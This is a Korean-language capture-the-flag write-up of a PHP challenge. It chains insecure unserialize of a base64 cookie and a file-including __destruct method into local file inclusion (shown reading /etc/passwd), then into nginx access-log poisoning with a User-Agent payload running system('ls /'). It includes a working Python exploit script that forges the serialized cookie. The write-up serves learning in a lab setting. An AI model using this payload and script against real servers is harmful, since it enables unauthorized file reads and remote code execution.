키워드: PHP, serialization, LFI, Log Poisoning
코드 분석
serialize
함수와 unserialize
함수를 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
PageModel
클래스는 __destruct
함수를 가지고 있는데 객체가 소멸될 때 실행되는 magic method이다.
1
2
3
4
5
6
7
8
9
10
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
취약점
PHP Serialization Vulnerability & LFI
__destruct
함수에서 include
함수를 사용하고 있기 때문에 오브젝트(인스턴스화된 객체)의 값을 변조시켜서 다른 파일을 읽을 수 있다. 페이지 내 쿠키 값을 디코딩하면 다음과 같다.
1
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
파일 경로를 /etc/passwd
로 조작해주고 쿠키값을 변조 시키면 다음과 같이 파일을 읽을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
Log Poisoning
하지만 flag
파일이 읽혀지지 않았다. 뒤에 붙는 어떤 문자열이 있을 것이라고 추측됐다. entrypoint.sh
에서 이 부분을 찾을 수 있었다.
1
2
3
4
5
6
7
8
9
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
exec "$@"
결국에는 파일이름을 확인해야하고 명령어 실행이 필수적이기 때문에 Log Poisoning
을 위한 로그파일이 반드시 존재한다고 생각했다.
Exploit
먼저 도커파일에도 있는 nginx.conf
파일을 읽어보면 로그파일에 대한 경로가 나온다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 80;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}
/var/log/nginx/access.log
파일의 내용을 확인해보면 사용자가 조작할 수 있는 부분인 User-Agent
값이 나온다.
1
2
3
4
5
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
142.93.37.215 - 200 "GET /favicon.ico HTTP/1.1" "http://142.93.37.215:32639/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
142.93.37.215 - 200 "GET /favicon.ico HTTP/1.1" "http://142.93.37.215:32639/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
142.93.37.215 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
User-Agent 값을 <?php system('ls /');?>
로 바꾸고 로그 파일을 읽는 과정에서 include
함수로 인해 php 코드가 실행되고 flag
파일의 정확한 이름을 볼 수 있을 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
from requests import get
from base64 import b64encode
info = lambda x: print(f'[+] {x}')
URL = 'http://142.93.37.215:32639'
# file_name = '/flag_fB4Dv'
file_name = '/var/log/nginx/access.log'
cookie = b64encode(f'O:9:"PageModel":1:{{s:4:"file";s:{len(file_name)}:"{file_name}";}}'.encode('utf-8')).decode('utf-8')
res = get(f'{URL}/', headers={"User-Agent": "<?php system('ls /'); ?>"},
cookies={'PHPSESSID': f'{cookie}'})
print(res.text)
분명 이렇게 하는게 맞는데 로그파일에 안찍혀서 롸업을 찾아봤는데 풀이가 나랑 똑같아서 엥? 하다가 다시 파일 확인해보니까 찍혀있었다 ㅇㅅㅇ… 이것 때문에 30분 날렸다.
Comments powered by Disqus.